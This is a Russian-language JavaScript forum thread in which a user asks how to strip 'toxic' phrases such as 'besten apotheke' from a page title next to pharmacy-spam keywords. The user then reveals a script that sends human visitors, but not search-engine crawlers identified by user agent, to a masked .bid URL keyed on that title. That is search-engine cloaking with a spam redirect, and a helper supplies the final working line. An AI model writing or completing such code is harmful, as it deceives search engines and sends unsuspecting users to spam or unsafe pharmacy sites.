Javascript-форум (https://javascript.ru/forum/)
-   Ваши сайты и скрипты (https://javascript.ru/forum/project/)
-   -   Вырезать ненужный участок текста (https://javascript.ru/forum/project/74148-vyrezat-nenuzhnyjj-uchastok-teksta.html)

affaff 18.06.2018 06:48

Вырезать ненужный участок текста
 
Скрипт передает из хтмл значение тэга TITLE таким образом
var element = document.getElementsByTagName("title")[0];

Но есть проблема, тайтл слишком большой, туда входят ненужные, но существующие в заголовке фразы.

Можно ли сделать чтобы передавался код, но с исключением частей, например free download, This is my site.

Какие то регулярки тут можно встравить в

var element = document.getElementsByTagName("title")[0];

?

laimas 18.06.2018 08:12

Значение тэга TITLE = document.title. А убрать лишнее, это конкретно перечислить что именно, например:

var s = document.title.replace(/free|download|и т.д./, "")


Но ведь заголовок может быть разным, на все случаи условия не пропишешь. Может быть просто ограничить длину заголовка до определенного значения от начала?

ksa 18.06.2018 09:24

Цитата:

Сообщение от affaff
Какие то регулярки тут можно встравить в
var element = document.getElementsByTagName("title")[0];

Да, можно. :yes:
Но для хорошего совета желательны приметы твоих значений тэга TITLE...

affaff 18.06.2018 10:32

Как раз норм там всегда одно упоминание везде, то есть “sildenafil 50
- besten apotheke” , где “besten apotheke” это лишнее. Как это будет?

ksa 18.06.2018 10:35

Цитата:

Сообщение от affaff
там всегда одно упоминание везде, то есть “sildenafil 50
- besten apotheke” , где “besten apotheke” это лишнее. Как это будет?

Например так

var str='sildenafil 50 - besten apotheke';
alert(str.split('besten apotheke')[0]);

ksa 18.06.2018 10:36

Или вообще вот так...

var str='sildenafil 50 - besten apotheke';
alert(str.split(' - ')[0]);

affaff 18.06.2018 10:49

Это тогда надо вручную конкретно тайтл переписывать для каждой страницы? Не то нужно, но нужно взять тайтл как есть не описывая его а так как я написал, однако удалив «токсичные» фразы

ksa 18.06.2018 11:12

Цитата:

Сообщение от affaff
Это тогда надо вручную конкретно тайтл переписывать для каждой страницы?

Тут уже я не понял вопроса... :-?
Цитата:

Сообщение от affaff
Не то нужно, но нужно взять тайтл как есть не описывая его а так как я написал, однако удалив «токсичные» фразы

Что не устраивает в предыдущем примере?

Пока твои "объяснения" не совсем понятны... Делай больше примеров, может тогда что-то прояснится...

affaff 18.06.2018 11:29

Используйте пожалуйста мой код из стартпоста, добавив к нему необходимые строки так, чтоб это работало.

Вы скидываете отличающиеся коды, поэтому я не прнимаю)

j0hnik 18.06.2018 13:51

document.title = document.title.replace(/free download|This is my site|что-то еще/gi, "");



через пайп| добавить нужные фразы

affaff 18.06.2018 14:14

var element = document.getElementsByTagName("title")[0];
var re_url = 'http://***.bid/?key='+element.innerHTML;
document.title = document.title.replace(/toxic keyword/gi, "");

Так ничего не получилось

affaff 18.06.2018 14:16

напишите код который можно будет дописать помимо этого
чтобы из тайтла в подстановке в ссылку удалялись токсичные слова

var element = document.getElementsByTagName("title")[0];
var re_url = 'http://***.bid/?key='+element.innerHTML;


if (document.referrer || !/google||baidu|bing|msn|duckduckgo|teoma|slurp|yand ex|qwant/i.test(navigator.userAgent)) {
if (detect_by_action) {
botDetect.onUser(function () {
window.location.href = re_url;
});
} else {
window.location.href = re_url;
}
}

j0hnik 18.06.2018 14:17

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>keyword Document toxic</title>
	<script>
document.title = document.title.replace(/toxic|keyword|/gi, "");
</script>
</head>
<body>
</body>
</html>


посмотрите что в тайтл останется

j0hnik 18.06.2018 14:22

попробуйте рассказать подробно что вы сделать хотите?
при чем тут document.referrer и navigator.userAgent

affaff 18.06.2018 14:29

var element = document.getElementsByTagName("title")[0];
var re_url = 'http://***.bid/?key='+element.innerHTML;

значение re_url это у нас конечная ссылка на которую юзер уходит при исполнении некоторых условий. Это не нужно. это все работает

Нам нужно что бы в это значение подставлялась фраза из тайтла без "плохих слов", я уже раз пятый это объясняю)

j0hnik 18.06.2018 14:32

var re_url = 'http://***.bid/?key='+document.title.replace(/toxic|keyword|/gi, "");


вот собственно

affaff 18.06.2018 14:43

Спасибо) Мощь!
это еще проще. и все работает как нужно


Часовой пояс GMT +3, время: 04:29.